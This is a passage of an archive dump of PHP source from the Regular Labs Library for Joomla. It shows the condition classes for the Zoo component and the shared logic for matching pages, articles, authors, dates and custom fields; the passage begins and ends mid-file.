// Because VM sucks, we have to get the view again
$this->request->view =
JFactory::getApplication()->input->getString('view');
if ( ! $this->request->id || $this->request->option !=
'com_virtuemart' || $this->request->view !=
'productdetails')
{
return $this->_(false);
}
return $this->passSimple($this->request->id);
}
}
src/Condition/Zoo.php000064400000003171151167425550010556 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Zoo
* @package RegularLabs\Library\Condition
*/
abstract class Zoo
extends \RegularLabs\Library\Condition
{
use \RegularLabs\Library\ConditionContent;
public function initRequest(&$request)
{
$request->view = $request->task ?: $request->view;
switch ($request->view)
{
case 'item':
$request->idname = 'item_id';
break;
case 'category':
$request->idname = 'category_id';
break;
}
if ( ! isset($request->idname))
{
$request->idname = '';
}
switch ($request->idname)
{
case 'item_id':
$request->view = 'item';
break;
case 'category_id':
$request->view = 'category';
break;
}
$request->id =
JFactory::getApplication()->input->getInt($request->idname, 0);
if ($request->id)
{
return;
}
$menu = JFactory::getApplication()->getMenu()->getItem((int)
$request->Itemid);
if (empty($menu))
{
return;
}
$request->id = $menu->getParams()->get('item_id', 0);
}
public function getItem($fields = [])
{
$query = $this->db->getQuery(true)
->select($fields)
->from('#__zoo_item')
->where('id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadObject();
}
}
src/Condition/ZooCategory.php000064400000007411151167425550012255
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class ZooCategory
* @package RegularLabs\Library\Condition
*/
class ZooCategory
extends Zoo
{
public function pass()
{
if ($this->request->option != 'com_zoo')
{
return $this->_(false);
}
$pass = (
($this->params->inc_apps && $this->request->view ==
'frontpage')
|| ($this->params->inc_categories &&
$this->request->view == 'category')
|| ($this->params->inc_items && $this->request->view
== 'item')
);
if ( ! $pass)
{
return $this->_(false);
}
$cats = $this->getCategories();
if ($cats === false)
{
return $this->_(false);
}
$cats = $this->makeArray($cats);
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->_(false);
}
if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCategories()
{
if ($this->article && isset($this->article->catid))
{
return [$this->article->catid];
}
$menuparams = $this->getMenuItemParams($this->request->Itemid);
switch ($this->request->view)
{
case 'frontpage':
if ($this->request->id)
{
return [$this->request->id];
}
if ( ! isset($menuparams->application))
{
return [];
}
return ['app' . $menuparams->application];
case 'category':
$cats = [];
if ($this->request->id)
{
$cats[] = $this->request->id;
}
else if (isset($menuparams->category))
{
$cats[] = $menuparams->category;
}
if (empty($cats[0]))
{
return [];
}
$query = $this->db->getQuery(true)
->select('c.application_id')
->from('#__zoo_category AS c')
->where('c.id = ' . (int) $cats[0]);
$this->db->setQuery($query);
$cats[] = 'app' . $this->db->loadResult();
return $cats;
case 'item':
$id = $this->request->id;
if ( ! $id && isset($menuparams->item_id))
{
$id = $menuparams->item_id;
}
if ( ! $id)
{
return [];
}
$query = $this->db->getQuery(true)
->select('c.category_id')
->from('#__zoo_category_item AS c')
->where('c.item_id = ' . (int) $id)
->where('c.category_id != 0');
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
$query = $this->db->getQuery(true)
->select('i.application_id')
->from('#__zoo_item AS i')
->where('i.id = ' . (int) $id);
$this->db->setQuery($query);
$cats[] = 'app' . $this->db->loadResult();
return $cats;
default:
return false;
}
}
private function getCatParentIds($id = 0)
{
$parent_ids = [];
if ( ! $id)
{
return $parent_ids;
}
while ($id)
{
if (substr($id, 0, 3) == 'app')
{
$parent_ids[] = $id;
break;
}
$query = $this->db->getQuery(true)
->select('c.parent')
->from('#__zoo_category AS c')
->where('c.id = ' . (int) $id);
$this->db->setQuery($query);
$pid = $this->db->loadResult();
if ( ! $pid)
{
$query = $this->db->getQuery(true)
->select('c.application_id')
->from('#__zoo_category AS c')
->where('c.id = ' . (int) $id);
$this->db->setQuery($query);
$app = $this->db->loadResult();
if ($app)
{
$parent_ids[] = 'app' . $app;
}
break;
}
$parent_ids[] = $pid;
$id = $pid;
}
return $parent_ids;
}
}
src/Condition/ZooItem.php000064400000001710151167425550011372
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class ZooItem
* @package RegularLabs\Library\Condition
*/
class ZooItem
extends Zoo
{
public function pass()
{
if ( ! $this->request->id || $this->request->option !=
'com_zoo')
{
return $this->_(false);
}
if ($this->request->view != 'item')
{
return $this->_(false);
}
$pass = false;
// Pass Article Id
if ( ! $this->passItemByType($pass, 'ContentId'))
{
return $this->_(false);
}
// Pass Author
if ( ! $this->passItemByType($pass, 'Author'))
{
return $this->_(false);
}
return $this->_($pass);
}
}
src/Condition/ZooPagetype.php000064400000001161151167425550012252
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class ZooPagetype
* @package RegularLabs\Library\Condition
*/
class ZooPagetype
extends Zoo
{
public function pass()
{
return $this->passByPageType('com_zoo', $this->selection,
$this->include_type);
}
}
src/Condition.php000064400000024345151167425550010015 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use DateTimeZone;
use Joomla\CMS\Factory as JFactory;
/**
* Class Condition
* @package RegularLabs\Library
*/
abstract class Condition
implements \RegularLabs\Library\Api\ConditionInterface
{
static $_request = null;
public $request = null;
public $date = null;
public $db = null;
public $selection = null;
public $params = null;
public $include_type = null;
public $article = null;
public $module = null;
private $timezone = null;
private $dates = [];
public function __construct($condition = [], $article = null, $module =
null)
{
$tz = new
DateTimeZone(JFactory::getApplication()->getCfg('offset'));
$this->date = JFactory::getDate()->setTimeZone($tz);
$this->request = self::getRequest();
$this->db = JFactory::getDbo();
$this->selection = isset($condition->selection) ?
$condition->selection : [];
$this->params = isset($condition->params) ?
$condition->params : [];
$this->include_type = isset($condition->include_type) ?
$condition->include_type : 'none';
if (is_array($this->selection))
{
$this->selection = ArrayHelper::clean($this->selection);
}
$this->article = $article;
$this->module = $module;
}
public function init()
{
}
public function initRequest(&$request)
{
}
public function beforePass()
{
}
private function getRequest()
{
$return_early = ! is_null(self::$_request);
$app = JFactory::getApplication();
$input = $app->input;
$id = $input->get(
'a_id',
$input->get('id', [0], 'array'),
'array'
);
self::$_request = (object) [
'idname' => 'id',
'option' => $input->get('option'),
'view' => $input->get('view'),
'task' => $input->get('task'),
'layout' => $input->getString('layout'),
'Itemid' => $this->getItemId(),
'id' => (int) $id[0],
];
switch (self::$_request->option)
{
case 'com_categories':
$extension = $input->getCmd('extension');
self::$_request->option = $extension ? $extension :
'com_content';
self::$_request->view = 'category';
break;
case 'com_breezingforms':
if (self::$_request->view == 'article')
{
self::$_request->option = 'com_content';
}
break;
}
$this->initRequest(self::$_request);
if ( ! self::$_request->id)
{
$cid = $input->get('cid', [0],
'array');
self::$_request->id = (int) $cid[0];
}
if ($return_early)
{
return self::$_request;
}
// if no id is found, check if menuitem exists to get view and id
if (Document::isClient('site')
&& ( ! self::$_request->option || ! self::$_request->id)
)
{
$menuItem = empty(self::$_request->Itemid)
? $app->getMenu('site')->getActive()
:
$app->getMenu('site')->getItem(self::$_request->Itemid);
if ($menuItem)
{
if ( ! self::$_request->option)
{
self::$_request->option =
(empty($menuItem->query['option'])) ? null :
$menuItem->query['option'];
}
self::$_request->view =
(empty($menuItem->query['view'])) ? null :
$menuItem->query['view'];
self::$_request->task =
(empty($menuItem->query['task'])) ? null :
$menuItem->query['task'];
if ( ! self::$_request->id)
{
self::$_request->id =
(empty($menuItem->query[self::$_request->idname])) ?
$menuItem->params->get(self::$_request->idname) :
$menuItem->query[self::$_request->idname];
}
}
unset($menuItem);
}
return self::$_request;
}
public function _($pass = true, $include_type = null)
{
$include_type = $include_type ?: $this->include_type;
return $pass ? ($include_type == 'include') : ($include_type ==
'exclude');
}
public function passSimple($values = '', $caseinsensitive =
false, $include_type = null, $selection = null)
{
$values = $this->makeArray($values);
$include_type = $include_type ?: $this->include_type;
$selection = $selection ?: $this->selection;
$pass = false;
foreach ($values as $value)
{
if ($caseinsensitive)
{
if (in_array(strtolower($value), array_map('strtolower',
$selection)))
{
$pass = true;
break;
}
continue;
}
if (in_array($value, $selection))
{
$pass = true;
break;
}
}
return $this->_($pass, $include_type);
}
public function passInRange($value = '', $include_type = null,
$selection = null)
{
$include_type = $include_type ?: $this->include_type;
if (empty($value))
{
return $this->_(false, $include_type);
}
$selections = $this->makeArray($selection ?: $this->selection);
$pass = false;
foreach ($selections as $selection)
{
if (empty($selection))
{
continue;
}
if (strpos($selection, '-') === false)
{
if ((int) $value == (int) $selection)
{
$pass = true;
break;
}
continue;
}
list($min, $max) = explode('-', $selection, 2);
if ((int) $value >= (int) $min && (int) $value <= (int)
$max)
{
$pass = true;
break;
}
}
return $this->_($pass, $include_type);
}
public function passItemByType(&$pass, $type = '', $data =
null)
{
$pass_type = ! empty($data) ? $this->{'pass' . $type}($data)
: $this->{'pass' . $type}();
if ($pass_type === null)
{
return true;
}
$pass = $pass_type;
return $pass;
}
public function passByPageType($option, $selection = [], $include_type =
'all', $add_view = false, $get_task = false, $get_layout = true)
{
if ($this->request->option != $option)
{
return $this->_(false, $include_type);
}
if ($get_task && $this->request->task &&
$this->request->task != $this->request->view &&
$this->request->task != 'default')
{
$pagetype = ($add_view ? $this->request->view . '_' :
'') . $this->request->task;
return $this->passSimple($pagetype, $selection, $include_type);
}
if ($get_layout && $this->request->layout &&
$this->request->layout != $this->request->view &&
$this->request->layout != 'default')
{
$pagetype = ($add_view ? $this->request->view . '_' :
'') . $this->request->layout;
return $this->passSimple($pagetype, $selection, $include_type);
}
return $this->passSimple($this->request->view, $selection,
$include_type);
}
public function getMenuItemParams($id = 0)
{
$cache_id = 'getMenuItemParams_' . $id;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$query = $this->db->getQuery(true)
->select('m.params')
->from('#__menu AS m')
->where('m.id = ' . (int) $id);
$this->db->setQuery($query);
$params = $this->db->loadResult();
$parameters = Parameters::getInstance();
return Cache::set(
$cache_id,
$parameters->getParams($params)
);
}
public function getParentIds($id = 0, $table = 'menu', $parent =
'parent_id', $child = 'id')
{
if ( ! $id)
{
return [];
}
$cache_id = 'getParentIds_' . $id . '_' . $table .
'_' . $parent . '_' . $child;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$parent_ids = [];
while ($id)
{
$query = $this->db->getQuery(true)
->select('t.' . $parent)
->from('#__' . $table . ' as t')
->where('t.' . $child . ' = ' . (int) $id);
$this->db->setQuery($query);
$id = $this->db->loadResult();
// Break if no parent is found or parent already found before for some
reason
if ( ! $id || in_array($id, $parent_ids))
{
break;
}
$parent_ids[] = $id;
}
return Cache::set(
$cache_id,
$parent_ids
);
}
public function makeArray($array = '', $delimiter =
',', $trim = false)
{
if (empty($array))
{
return [];
}
$cache_id = 'makeArray_' . json_encode($array) . '_'
. $delimiter . '_' . $trim;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$array = $this->mixedDataToArray($array, $delimiter);
if (empty($array))
{
return $array;
}
if ( ! $trim)
{
return $array;
}
foreach ($array as $k => $v)
{
if ( ! is_string($v))
{
continue;
}
$array[$k] = trim($v);
}
return Cache::set(
$cache_id,
$array
);
}
private function mixedDataToArray($array = '', $onlycommas =
false)
{
if ( ! is_array($array))
{
$delimiter = ($onlycommas || strpos($array, '|') === false) ?
',' : '|';
return explode($delimiter, $array);
}
if (empty($array))
{
return $array;
}
if (isset($array[0]) && is_array($array[0]))
{
return $array[0];
}
if (count($array) === 1 && strpos($array[0], ',') !==
false)
{
return explode(',', $array[0]);
}
return $array;
}
private function getItemId()
{
$app = JFactory::getApplication();
if ($id = $app->input->getInt('Itemid', 0))
{
return $id;
}
$menu = $this->getActiveMenu();
return isset($menu->id) ? $menu->id : 0;
}
private function getActiveMenu()
{
$menu = JFactory::getApplication()->getMenu()->getActive();
if (empty($menu->id))
{
return false;
}
return $this->getMenuById($menu->id);
}
private function getMenuById($id = 0)
{
$menu = JFactory::getApplication()->getMenu()->getItem($id);
if (empty($menu->id))
{
return false;
}
if ($menu->type == 'alias')
{
$params = $menu->getParams();
return $this->getMenuById($params->get('aliasoptions'));
}
return $menu;
}
public function getNow()
{
return strtotime($this->date->format('Y-m-d H:i:s',
true));
}
public function getDate($date = '')
{
$date = Date::fix($date);
$id = 'date_' . $date;
if (isset($this->dates[$id]))
{
return $this->dates[$id];
}
$this->dates[$id] = JFactory::getDate($date);
if (empty($this->params->ignore_time_zone))
{
$this->dates[$id]->setTimeZone($this->getTimeZone());
}
return $this->dates[$id];
}
public function getDateString($date = '')
{
$date = $this->getDate($date);
$date = strtotime($date->format('Y-m-d H:i:s', true));
return $date;
}
private function getTimeZone()
{
if ( ! is_null($this->timezone))
{
return $this->timezone;
}
$this->timezone = new
DateTimeZone(JFactory::getApplication()->getCfg('offset'));
return $this->timezone;
}
}
src/ConditionContent.php000064400000023257151167425550011351
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
use FieldsHelper;
use JLoader;
use Joomla\CMS\Date\Date as JDate;
use Joomla\CMS\Factory as JFactory;
use RegularLabs\Plugin\System\ArticlesAnywhere\Replace as AA_Replace;
defined('_JEXEC') or die;
JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR .
'/components/com_fields/helpers/fields.php');
/**
* Class ConditionContent
* @package RegularLabs\Library
*/
trait ConditionContent
{
public function passContentId()
{
if (empty($this->selection))
{
return null;
}
return in_array($this->request->id, $this->selection);
}
public function passFeatured()
{
return $this->passBoolean('featured');
}
public function passBoolean($field = 'featured')
{
if ( ! isset($this->params->{$field}) ||
$this->params->{$field} == '')
{
return null;
}
$item = $this->getItem($field);
if ( ! isset($item->{$field}))
{
return false;
}
return $this->params->{$field} == $item->{$field};
}
public function passContentKeyword($fields = ['title',
'introtext', 'fulltext'], $text = '')
{
if (empty($this->params->content_keywords))
{
return null;
}
if ( ! $text)
{
$item = $this->getItem($fields);
foreach ($fields as $field)
{
if ( ! isset($item->{$field}))
{
return false;
}
$text = trim($text . ' ' . $item->{$field});
}
}
if (empty($text))
{
return false;
}
$this->params->content_keywords =
$this->makeArray($this->params->content_keywords);
foreach ($this->params->content_keywords as $keyword)
{
if ( ! RegEx::match('\b' . RegEx::quote($keyword) .
'\b', $text))
{
continue;
}
return true;
}
return false;
}
public function passMetaKeyword($field = 'metakey', $keywords =
'')
{
if (empty($this->params->meta_keywords))
{
return null;
}
if ( ! $keywords)
{
$item = $this->getItem($field);
if ( ! isset($item->metakey) || empty($item->metakey))
{
return false;
}
$keywords = $item->metakey;
}
if (empty($keywords))
{
return false;
}
if (is_string($keywords))
{
$keywords = str_replace(' ', ',', $keywords);
}
$keywords = $this->makeArray($keywords);
$this->params->meta_keywords =
$this->makeArray($this->params->meta_keywords);
foreach ($this->params->meta_keywords as $keyword)
{
if ( ! $keyword || ! in_array(trim($keyword), $keywords))
{
continue;
}
return true;
}
return false;
}
public function passAuthor($field = 'created_by', $author =
'')
{
$this->params->authors =
ArrayHelper::clean($this->params->authors);
if (empty($this->params->authors))
{
return null;
}
if ( ! $author)
{
$item = $this->getItem($field);
if ( ! isset($item->{$field}))
{
return false;
}
$author = $item->{$field};
}
if (empty($author))
{
return false;
}
$this->params->authors =
$this->makeArray($this->params->authors);
if (in_array('current', $this->params->authors)
&& JFactory::getUser()->id)
{
$this->params->authors[] = JFactory::getUser()->id;
$this->params->authors =
array_diff($this->params->authors, ['current']);
}
return in_array($author, $this->params->authors);
}
public function passDate()
{
if (empty($this->params->date))
{
return null;
}
$field = $this->params->date;
$item = $this->getItem($field);
if ( ! isset($item->{$field}))
{
return false;
}
$date = $this->getDateString($item->{$field});
switch ($this->params->date_comparison)
{
case 'before':
if ($this->params->date_type == 'now')
{
return $date < $this->getNow();
}
return $date <
$this->getDateString($this->params->date_date);
case 'after':
if ($this->params->date_type == 'now')
{
return $date > $this->getNow();
}
return $date >
$this->getDateString($this->params->date_date);
case 'fromto':
$from = (int) $this->params->date_from ?
$this->getDateString($this->params->date_from) : false;
$to = (int) $this->params->date_to ?
$this->getDateString($this->params->date_to) : false;
return ( ! $from || $date >= $from)
&& ( ! $to || $date <= $to);
default:
return false;
}
}
public function passField()
{
if (empty($this->params->fields))
{
return null;
}
$item = $this->getItem();
if ( ! isset($item->id))
{
return false;
}
$fields = $this->params->fields;
$article_fields =
FieldsHelper::getFields('com_content.article', $item, true);
foreach ($fields as $i => $field)
{
$pass = false;
foreach ($article_fields as $article_field)
{
if ($article_field->name != $field->field)
{
continue;
}
$comparison = ! empty($field->field_comparison) ?
$field->field_comparison : 'equals';
if ( ! self::passComparison($field->field_value,
$article_field->rawvalue, $comparison))
{
return false;
}
$pass = true;
break;
}
if ( ! $pass)
{
return false;
}
}
return true;
}
private static function passComparison($needle, $haystack, $comparison =
'equals')
{
$haystack = ArrayHelper::toArray($haystack);
if (empty($haystack))
{
return false;
}
// For list values
if (count($haystack) > 1)
{
switch ($comparison)
{
case 'not_equals':
$needle = ArrayHelper::toArray($needle);
sort($needle);
sort($haystack);
return $needle != $haystack;
case 'contains':
$needle = ArrayHelper::toArray($needle);
sort($needle);
$intersect = array_intersect($needle, $haystack);
return $needle == $intersect;
case 'contains_one':
return ArrayHelper::find($needle, $haystack);
case 'not_contains':
return ! ArrayHelper::find($needle, $haystack);
case 'equals':
default:
$needle = ArrayHelper::toArray($needle);
sort($needle);
sort($haystack);
return $needle == $haystack;
}
}
$haystack = $haystack[0];
if ($comparison == 'regex')
{
return RegEx::match($needle, $haystack);
}
// What's the use case? Not sure yet :)
$needle = self::runThroughArticlesAnywhere($needle);
// Convert dynamic date values i, like date('yesterday')
$haystack = self::valueToDateString($haystack, true);
$has_time = self::hasTime($haystack);
$needle = self::valueToDateString($needle, false, $has_time);
// make the needle and haystack lowercase, so comparisons are case
insensitive
$needle = StringHelper::strtolower($needle);
$haystack = StringHelper::strtolower($haystack);
switch ($comparison)
{
case 'not_equals':
return $needle != $haystack;
case 'contains':
case 'contains_one':
return strpos($haystack, $needle) !== false;
case 'not_contains':
return strpos($haystack, $needle) === false;
case 'begins_with':
$length = strlen($needle);
return substr($haystack, 0, $length) === $needle;
case 'ends_with':
$length = strlen($needle);
if ($length == 0)
{
return true;
}
return substr($haystack, -$length) === $needle;
case 'less_than':
return $haystack < $needle;
case 'greater_than':
return $haystack > $needle;
case 'equals':
default:
return $needle == $haystack;
}
}
private static function valueToDateString($value, $apply_offset = true,
$add_time = false)
{
$value = trim($value);
if (in_array($value, [
'now()',
'JFactory::getDate()',
]))
{
if ( ! $apply_offset)
{
return date('Y-m-d H:i:s', strtotime('now'));
}
$date = new JDate('now',
JFactory::getConfig()->get('offset', 'UTC'));
return $date->format('Y-m-d H:i:s');
}
if (self::isDateTimeString($value))
{
$format = 'Y-m-d H:i:s';
$date = new JDate($value,
JFactory::getConfig()->get('offset', 'UTC'));
if ($apply_offset)
{
$date = JFactory::getDate($value, 'UTC');
$date->setTimezone(new
\DateTimeZone(JFactory::getConfig()->get('offset')));
}
return $date->format($format, true, false);
}
$regex = '^date\(\s*'
. '(?:\'(?<datetime>.*?)\')?'
. '(?:\\\\?,\s*\'(?<format>.*?)\')?'
. '\s*\)$';
if ( ! RegEx::match($regex, $value, $match))
{
return $value;
}
$datetime = ! empty($match['datetime']) ?
$match['datetime'] : 'now';
$format = ! empty($match['format']) ?
$match['format'] : '';
if (empty($format))
{
$time = date('His', strtotime($datetime));
$format = (int) $time || $add_time ? 'Y-m-d H:i:s' :
'Y-m-d';
}
$date = new JDate($datetime,
JFactory::getConfig()->get('offset', 'UTC'));
if ($apply_offset)
{
$date = JFactory::getDate($datetime, 'UTC');
$date->setTimezone(new
\DateTimeZone(JFactory::getConfig()->get('offset')));
}
return $date->format($format, true, false);
}
public static function isDateTimeString($string)
{
return RegEx::match('^[0-9]{4}-[0-9]{2}-[0-9]{2}', $string);
}
public static function hasTime($string)
{
if ( ! self::isDateTimeString($string))
{
return false;
}
return RegEx::match('^[0-9]{4}-[0-9]{2}-[0-9]{2}
[0-9]{2}:[0-9]{2}', $string);
}
public static function runThroughArticlesAnywhere($string)
{
$articlesanywhere_params =
Parameters::getInstance()->getPluginParams('articlesanywhere');
if (empty($articlesanywhere_params) || !
isset($articlesanywhere_params->article_tag) || !
isset($articlesanywhere_params->articles_tag))
{
return $string;
}
AA_Replace::replaceTags($string);
Protect::removeCommentTags($string, 'Articles Anywhere');
return $string;
}
abstract public function getItem($fields = []);
}
src/Conditions.php000064400000044713151167425550010201 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
jimport('joomla.filesystem.file');
/**
* Class Conditions
* @package RegularLabs\Library
*/
class Conditions
{
static $installed_extensions = null;
static $params = null;
public static function pass($conditions, $matching_method =
'all', $article = null, $module = null)
{
if (empty($conditions))
{
return true;
}
$article_id = isset($article->id) ? $article->id :
'';
$module_id = isset($module->id) ? $module->id : '';
$matching_method = in_array($matching_method, ['any',
'or']) ? 'any' : 'all';
$cache_id = 'pass_' . $article_id . '_' .
$module_id . '_' . $matching_method . '_' .
json_encode($conditions);
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$pass = (bool) ($matching_method == 'all');
foreach (self::getTypes() as $type)
{
// Break if not passed and matching method is ALL
// Or if passed and matching method is ANY
if (
( ! $pass && $matching_method == 'all')
|| ($pass && $matching_method == 'any')
)
{
break;
}
if ( ! isset($conditions[$type]))
{
continue;
}
$pass = self::passByType($conditions[$type], $type, $article, $module);
}
return Cache::set(
$cache_id,
$pass
);
}
public static function hasConditions($conditions)
{
if (empty($conditions))
{
return false;
}
foreach (self::getTypes() as $type)
{
if (isset($conditions[$type]) &&
isset($conditions[$type]->include_type) &&
$conditions[$type]->include_type)
{
return true;
}
}
return false;
}
public static function getConditionsFromParams(&$params)
{
$cache_id = 'getConditionsFromParams_' . json_encode($params);
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
self::renameParamKeys($params);
$types = [];
foreach (self::getTypes() as $id => $type)
{
if (empty($params->conditions[$id]))
{
continue;
}
$types[$type] = (object) [
'include_type' => $params->conditions[$id],
'selection' => [],
'params' => (object) [],
];
if (isset($params->conditions[$id . '_selection']))
{
$types[$type]->selection =
self::getSelection($params->conditions[$id . '_selection'],
$type);
}
self::addParams($types[$type], $type, $id, $params);
}
return Cache::set(
$cache_id,
$types
);
}
public static function getConditionsFromTagAttributes(&$attributes,
$only_types = [])
{
$conditions = [];
PluginTag::replaceKeyAliases($attributes, self::getTypeAliases(), true);
$types = self::getTypes($only_types);
if (empty($types))
{
return $conditions;
}
$type_params = [];
foreach ($attributes as $type_param => $value)
{
if (strpos($type_param, '_') === false)
{
continue;
}
list($type, $param) = explode('_', $type_param, 2);
$condition_type = self::getType($type, $only_types);
if ( ! $condition_type)
{
continue;
}
$type_params[$type_param] = $value;
unset($attributes->{$type_param});
}
foreach ($attributes as $type => $value)
{
if (empty($value))
{
continue;
}
$condition_type = self::getType($type, $only_types);
if ( ! $condition_type)
{
continue;
}
$value = html_entity_decode($value);
$params = self::getDefaultParamsByType($condition_type,
$type);
$params->conditions = $type_params;
$reverse = false;
$selection = self::getSelectionFromTagAttribute($condition_type, $value,
$params, $reverse);
$condition = (object) [
'include_type' => $reverse ? 2 : 1,
'selection' => $selection,
'params' => (object) [],
];
self::addParams($condition, $condition_type, $type, $params);
$conditions[$condition_type] = $condition;
}
return $conditions;
}
private static function initParametersByType(&$params, $type =
'')
{
$params->class_name = str_replace('.', '', $type);
$params->include_type =
self::getConditionState($params->include_type);
}
private static function passByType($condition, $type, $article = null,
$module = null)
{
$article_id = isset($article->id) ? $article->id : '';
$module_id = isset($module->id) ? $module->id : '';
$cache_prefix = 'passByType_' . $type . '_' .
$article_id . '_' . $module_id;
$cache_id = $cache_prefix . '_' . json_encode($condition);
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
self::initParametersByType($condition, $type);
$cache_id = $cache_prefix . '_' . json_encode($condition);
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$pass = false;
switch ($condition->include_type)
{
case 'all':
$pass = true;
break;
case 'none':
$pass = false;
break;
default:
if ( ! file_exists(__DIR__ . '/Condition/' .
$condition->class_name . '.php'))
{
break;
}
$className = '\\RegularLabs\\Library\\Condition\\' .
$condition->class_name;
$class = new $className($condition, $article, $module);
$class->beforePass();
$pass = $class->pass();
break;
}
return Cache::set(
$cache_id,
$pass
);
}
private static function getConditionState($include_type)
{
switch ($include_type . '')
{
case 1:
case 'include':
return 'include';
case 2:
case 'exclude':
return 'exclude';
case 3:
case -1:
case 'none':
return 'none';
default:
return 'all';
}
}
private static function makeArray($array = '', $delimiter =
',', $trim = true)
{
if (empty($array))
{
return [];
}
$cache_id = 'makeArray_' . json_encode($array) . '_'
. $delimiter . '_' . $trim;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$array = self::mixedDataToArray($array, $delimiter);
if (empty($array))
{
return $array;
}
if ( ! $trim)
{
return $array;
}
foreach ($array as $k => $v)
{
if ( ! is_string($v))
{
continue;
}
$array[$k] = trim($v);
}
return Cache::set(
$cache_id,
$array
);
}
private static function mixedDataToArray($array = '', $delimiter
= ',')
{
if ( ! is_array($array))
{
return explode($delimiter, $array);
}
if (empty($array))
{
return $array;
}
if (isset($array[0]) && is_array($array[0]))
{
return $array[0];
}
if (count($array) === 1 && strpos($array[0], $delimiter) !==
false)
{
return explode($delimiter, $array[0]);
}
return $array;
}
private static function renameParamKeys(&$params)
{
$params->conditions = isset($params->conditions) ?
$params->conditions : [];
foreach ($params as $key => $value)
{
if (strpos($key, 'condition_') === false &&
strpos($key, 'assignto_') === false)
{
continue;
}
$new_key = substr($key, strpos($key, '_')
+ 1);
$params->conditions[$new_key] = $value;
unset($params->{$key});
}
}
private static function getSelection($selection, $type = '')
{
if (in_array($type, self::getNotArrayTextAreaTypes()))
{
return $selection;
}
$delimiter = in_array($type, self::getTextAreaTypes()) ? "\n" :
',';
return self::makeArray($selection, $delimiter);
}
private static function getSelectionFromTagAttribute($type, $value,
&$params, &$reverse)
{
if ($type == 'Date.Date')
{
$value = str_replace('from', '', $value);
$dates = explode(' - ', str_replace('to', ' -
', $value));
$params->ignore_time_zone = true;
if ( ! empty($dates[0]))
{
$params->publish_up = date('Y-m-d H:i:s',
strtotime($dates[0]));
}
if ( ! empty($dates[1]))
{
$params->publish_down = date('Y-m-d H:i:s',
strtotime($dates[1]));
}
return [];
}
if ($type == 'Date.Time')
{
$value = str_replace('from', '', $value);
$dates = explode(' - ', str_replace('to', ' -
', $value));
$params->publish_up = $dates[0];
$params->publish_down = isset($dates[1]) ? $dates[1] : $dates[0];
return [];
}
if (in_array($type, self::getTextAreaTypes()))
{
$value = Html::convertWysiwygToPlainText($value);
}
if (strpos($value, '!NOT!') === 0)
{
$reverse = true;
$value = substr($value, 5);
}
if ( ! in_array($type, self::getNotArrayTextAreaTypes()))
{
$value = str_replace('[[:COMMA:]]', ',',
str_replace(',', '[[:SPLIT:]]',
str_replace('\\,', '[[:COMMA:]]', $value)));
$value = explode('[[:SPLIT:]]', $value);
}
return $value;
}
private static function getDefaultParamsByType($condition_type, $type)
{
switch ($condition_type)
{
case 'Content.Category':
return (object) [
'assignto_' . $type . '_inc' => [
'inc_cats',
'inc_arts',
],
];
case 'Easyblog.Category':
case 'K2.Category':
case 'Zoo.Category':
case 'Hikashop.Category':
case 'Mijoshop.Category':
case 'Redshop.Category':
case 'Virtuemart.Category':
return (object) [
'assignto_' . $type . '_inc' => [
'inc_cats',
'inc_items',
],
];
default:
return (object) [];
}
}
private static function addParams(&$object, $type, $id, &$params)
{
$extra_params = [];
$array_params = [];
$includes = [];
switch ($type)
{
case 'Menu':
$extra_params = ['inc_children', 'inc_noitemid'];
break;
case 'Date.Date':
